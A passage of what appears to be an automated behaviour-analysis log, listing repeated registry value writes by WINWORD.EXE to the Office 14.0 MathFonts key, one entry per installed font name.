"HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ DOOLGI MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ DWMMOOGJO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ GABI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ GOTGAE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ INITIALPOSITIVE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ INJANG MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ MAEHWA SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ NANCHO MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ SHANALL MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ SOSEL SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ TEUNTEUN BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ WADAG MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AGENCY FB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHARONI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHN2006-B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHN2006-L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHN2006-M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ALGERIAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AMERIGARMND BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ANDALUS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ANGSANA NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ANGSANAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "APARAJITA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARABIC TYPESETTING"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL BLACK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL NARROW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL ROUNDED MT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL UNICODE MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BASKERVILLE BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BASKERVILLE OLD FACE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BATANGCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BAUHAUS 93"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BELL MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERLIN SANS FB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERLIN SANS FB DEMI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERNARD MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERNHARDFASHION BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BLACKADDER ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BLIPPO BLK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI BD BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI BK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT BLACK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT POSTER COMPRESSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BOOK ANTIQUA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BOOKMAN OLD STYLE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BOOKSHELF SYMBOL 7"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRADLEY HAND ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRITANNIC BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROADWAY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROADWAYENGRAVED BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROWALLIA NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROWALLIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRUSH SCRIPT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRUSHSCRIPT BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALIBRI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALIBRI LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALIFORNIAN FB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALISTO MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CAMBRIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CAMBRIA MATH"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CANDARA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CASTELLAR"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTAUR"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTSCHBOOK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTURY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTURY GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTURY SCHOOLBOOK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CHILLER"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COLONNA MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COMIC SANS MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COMMERCIALSCRIPT BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CONSOLAS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CONSTANTIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COOPER BLACK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COOPER BLK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COPPERPLATE GOTHIC BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COPPERPLATE GOTHIC LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CORBEL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CORDIA NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CORDIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COURIER NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COURIER10 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CURLZ MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DAUNPENH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DAVID"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DFKAI-SB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DILLENIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOKCHAMPA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOMCASUAL BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOTUMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EBRIMA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EDWARDIAN SCRIPT ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ELEPHANT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ENGRAVERS MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS BOLD ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS DEMI ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS LIGHT ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS MEDIUM ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ESTRANGELO EDESSA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EUCROSIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EUPHEMIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FANGSONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FELIX TITLING"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FOOTLIGHT MT LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FORTE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC BOOK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC DEMI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC DEMI COND"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC HEAVY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC MEDIUM COND"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKRUEHL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FREEHAND591 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FREESIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FREESTYLE SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRENCH SCRIPT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FUTURABLACK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FZSONG_SUPERFONT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GABRIOLA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GADUGI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GARAMOND"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GAUTAMI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GEORGIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GIGI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS MT EXT CONDENSED BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS ULTRA BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS ULTRA BOLD CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GISHA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GLOUCESTER MT EXTRA CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GOUDY OLD STYLE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GOUDY STOUT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GOUDYOLST BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GULIMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GUNGSUH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GUNGSUHCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN BAEKJE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN BAEKJE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN COOLJAZZ B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN COOLJAZZ L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN COOLJAZZ M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SALE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SALE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOLLIP B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOLLIP M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOMANG B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOMANG M"; Value: "00000000") "WINWORD.EXE" (Access 